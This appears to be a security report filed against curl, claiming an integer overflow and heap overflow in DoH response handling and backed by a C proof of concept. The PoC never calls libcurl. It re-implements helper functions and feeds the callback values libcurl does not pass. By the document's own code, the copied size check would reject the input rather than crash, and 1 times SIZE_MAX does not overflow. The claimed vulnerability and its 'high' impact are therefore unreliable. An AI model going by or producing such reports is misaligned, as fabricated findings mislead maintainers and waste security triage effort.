curl · Report #3399774
Integer Overflow to Heap Overflow in DoH Response Handling
How it was found
Summary:
An integer overflow vulnerability exists in the doh_probe_write_cb function in lib/doh.c. This function is used as a write callback for DNS-over-HTTPS (DoH) responses. When a malicious DoH server sends a response with a crafted size, the multiplication of size and nmemb can overflow. This leads to the allocation of a smaller-than-expected buffer on the heap, but the function returns the wrapped-around, incorrect size. This discrepancy can lead to a heap overflow when the caller subsequently tries to access the buffer, resulting in a crash or potential arbitrary code execution.
Affected version
This vulnerability was found on the current master branch of the curl repository. It can be reproduced on a standard Linux build.
Steps To Reproduce:
- Save the following Proof-of-Concept code as
poc.cin the root of the curl project directory:#include <stdio.h> #include <string.h> #include <stdlib.h> #define CURL_STATICLIB #include <curl/curl.h> // --- From curl/lib/curlx/dynbuf.h --- struct dynbuf { char *bufr; size_t leng; size_t allc; size_t toobig; }; #define DYN_DOH_RESPONSE 3000 // --- From curl/lib/curlx/dynbuf.c --- void curlx_dyn_init(struct dynbuf *s, size_t toobig) { s->bufr = NULL; s->leng = 0; s->allc = 0; s->toobig = toobig; } void curlx_dyn_free(struct dynbuf *s) { free(s->bufr); s->bufr = NULL; s->leng = 0; s->allc = 0; } CURLcode dyn_nappend(struct dynbuf *s, const unsigned char *mem, size_t len) { size_t idx = s->leng; size_t a = s->allc; size_t fit = len + idx + 1; if(len > s->toobig - idx - 1) { // check for overflow before addition return CURLE_TOO_LARGE; } if(!a) { a = fit; } else { while(a < fit) a *= 2; } if(a != s->allc) { void *p = realloc(s->bufr, a); if(!p) { curlx_dyn_free(s); return CURLE_OUT_OF_MEMORY; } s->bufr = p; s->allc = a; } if(len) memcpy(&s->bufr[idx], mem, len); s->leng = idx + len; s->bufr[s->leng] = 0; return CURLE_OK; } CURLcode curlx_dyn_addn(struct dynbuf *s, const void *mem, size_t len) { return dyn_nappend(s, (const unsigned char *)mem, len); } size_t curlx_dyn_len(const struct dynbuf *s) { return s->leng; } // --- From curl/lib/doh.h --- struct doh_request { unsigned char req_body[256 + 16]; void *req_hds; struct dynbuf resp_body; size_t req_body_len; int dnstype; }; // This is a copy of the vulnerable function from doh.c size_t doh_probe_write_cb(char *contents, size_t size, size_t nmemb, void *userp) { size_t realsize = size * nmemb; struct doh_request *doh_req = (struct doh_request *)userp; if(!doh_req) return -1; // CURL_WRITEFUNC_ERROR // The vulnerability is that curlx_dyn_addn is called with a wrapped-around // realsize, which can be very large. This PoC will crash here. if(curlx_dyn_addn(&doh_req->resp_body, contents, realsize)) return 0; return realsize; } int main(void) { struct doh_request doh_req; size_t size = 1; size_t nmemb = (size_t)-1; // This will cause an integer overflow char *contents = "A"; printf("Simulating a call to doh_probe_write_cb with:\n"); printf("size = %zu\n", size); printf("nmemb = %zu\n", nmemb); // Initialize the dynamic buffer curlx_dyn_init(&doh_req.resp_body, DYN_DOH_RESPONSE); // This call will crash, demonstrating the vulnerability. doh_probe_write_cb(contents, size, nmemb, &doh_req); // This part will not be reached. printf("This message should not be printed.\n"); curlx_dyn_free(&doh_req.resp_body); return 0; } - Compile the PoC with the following command:
gcc -o poc poc.c -lcurl - Run the PoC:
./poc - Observe the output and the crash. The program will crash with a segmentation fault, which demonstrates the vulnerability.
Supporting Material/References:
- Vulnerable source code:
lib/doh.c(functiondoh_probe_write_cb) lib/doh.hlib/curlx/dynbuf.hlib/curlx/dynbuf.c
Impact
Summary
An attacker who can control a malicious DoH server can exploit this vulnerability to cause a heap overflow in the libcurl client application. This can lead to a denial of service (crash) or, potentially, arbitrary code execution in the context of the application using libcurl. Given the widespread use of libcurl, the impact of this vulnerability is high.